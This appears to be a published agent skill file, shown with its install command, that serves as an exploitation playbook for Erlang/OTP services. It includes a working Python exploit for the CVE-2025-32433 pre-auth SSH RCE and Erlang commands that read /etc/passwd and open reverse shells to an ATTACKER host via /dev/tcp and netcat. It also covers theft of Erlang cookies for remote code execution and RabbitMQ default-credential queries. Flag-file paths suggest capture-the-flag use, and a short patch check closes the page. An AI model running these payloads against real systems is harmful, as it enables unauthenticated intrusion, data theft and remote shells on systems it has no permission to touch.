This skill should be used when Erlang/OTP services are detected: - Port 4369 (EPMD - Erlang Port Mapper Daemon) - Erlang SSH (usually port 2222) - RabbitMQ, CouchDB, or other Erlang-based services Covers CVE-2025-32433 pre-auth RCE and other Erlang attack vectors.
Scanned 5/27/2026
Install via CLI
openskills install allsmog/blackbox-claude-plugin---
name: Erlang/OTP Exploitation
description: |
This skill should be used when Erlang/OTP services are detected:
- Port 4369 (EPMD - Erlang Port Mapper Daemon)
- Erlang SSH (usually port 2222)
- RabbitMQ, CouchDB, or other Erlang-based services
Covers CVE-2025-32433 pre-auth RCE and other Erlang attack vectors.
version: 1.0.0
---
# Erlang/OTP Exploitation Skill
## Detection Indicators
### Ports
| Port | Service | Notes |
|------|---------|-------|
| 4369 | EPMD | Erlang Port Mapper - indicates Erlang services |
| 2222 | Erlang SSH | Custom SSH implementation (NOT OpenSSH) |
| 5672 | RabbitMQ | Erlang-based message broker |
| 5984 | CouchDB | Erlang-based database |
| 25672 | RabbitMQ Cluster | Inter-node communication |
### Banner Identification
```bash
# Erlang SSH banner
SSH-2.0-Erlang/5.2.9
# Check OTP version
erl -noshell -eval 'io:format("~s~n", [erlang:system_info(otp_release)]), halt().'
```
## CVE-2025-32433: Erlang SSH Pre-Auth RCE
**CRITICAL VULNERABILITY** - CVSS 10.0
### Affected Versions
- OTP < 27.3.3
- OTP < 26.2.5.11
- OTP < 25.3.2.20
### Vulnerability
The Erlang SSH server accepts `SSH_MSG_CHANNEL_OPEN` and `SSH_MSG_CHANNEL_REQUEST` messages BEFORE authentication completes, allowing unauthenticated command execution.
### Exploit Repository
```bash
# Clone exploit
git clone https://github.com/ProDefense/CVE-2025-32433.git
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
```
### Quick Exploit (Python)
```python
import socket
import struct
import time
HOST = "127.0.0.1" # Target
PORT = 2222
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
def build_channel_open(channel_id=0):
return (b"\x5a" + string_payload("session") + struct.pack(">I", channel_id)
+ struct.pack(">I", 0x68000) + struct.pack(">I", 0x10000))
def build_channel_request(channel_id=0, command=None):
return (b"\x62" + struct.pack(">I", channel_id) + string_payload("exec")
+ b"\x01" + string_payload(command))
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l): return string_payload(",".join(l))
return (b"\x14" + cookie
+ name_list(["curve25519-sha256","ecdh-sha2-nistp256","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256"])
+ name_list(["rsa-sha2-256","rsa-sha2-512"])
+ name_list(["aes128-ctr"]) * 2
+ name_list(["hmac-sha1"]) * 2
+ name_list(["none"]) * 2
+ name_list([]) * 2
+ b"\x00" + struct.pack(">I", 0))
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding: padding_len += block_size
return (struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len]) + payload + bytes([0] * padding_len))
# Execute command
cmd = 'os:cmd("cat /root/root.txt > /tmp/flag.txt").'
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"Banner: {banner.strip()}")
time.sleep(0.3)
s.sendall(pad_packet(build_kexinit()))
time.sleep(0.3)
s.sendall(pad_packet(build_channel_open()))
time.sleep(0.3)
s.sendall(pad_packet(build_channel_request(command=cmd)))
print(f"Sent: {cmd}")
```
### Erlang Commands for RCE
```erlang
% Read file
file:read_file("/etc/passwd").
% Write file
file:write_file("/tmp/pwned", <<"content">>).
% Execute OS command
os:cmd("id").
os:cmd("cat /root/root.txt > /tmp/flag.txt").
os:cmd("bash -i >& /dev/tcp/ATTACKER/4444 0>&1").
% Reverse shell
os:cmd("nc ATTACKER 4444 -e /bin/bash").
```
## EPMD Enumeration (Port 4369)
```bash
# List registered Erlang nodes
nmap -sV -p 4369 --script epmd-info <TARGET>
# Manual query
echo -n -e '\x00\x01\x6e' | nc <TARGET> 4369 | hexdump -C
```
## Erlang Cookie Attack
If you can find the Erlang cookie, you can connect to the cluster:
```bash
# Common cookie locations
/var/lib/rabbitmq/.erlang.cookie
/root/.erlang.cookie
/home/<user>/.erlang.cookie
# Connect with cookie
erl -sname attacker -setcookie <COOKIE>
# Then call remote node
rpc:call('target@hostname', os, cmd, ["id"]).
```
## RabbitMQ Specific
```bash
# Default credentials
guest:guest (localhost only by default)
# Management API (port 15672)
curl -u guest:guest http://<TARGET>:15672/api/overview
# List users
curl -u guest:guest http://<TARGET>:15672/api/users
```
## Mitigation Detection
Check if patched:
```bash
# Version check
erl -eval 'io:format("~s~n", [erlang:system_info(otp_release)]), halt().' -noshell
# Patched versions
# OTP >= 27.3.3
# OTP >= 26.2.5.11
# OTP >= 25.3.2.20
```
No comments yet. Be the first to comment!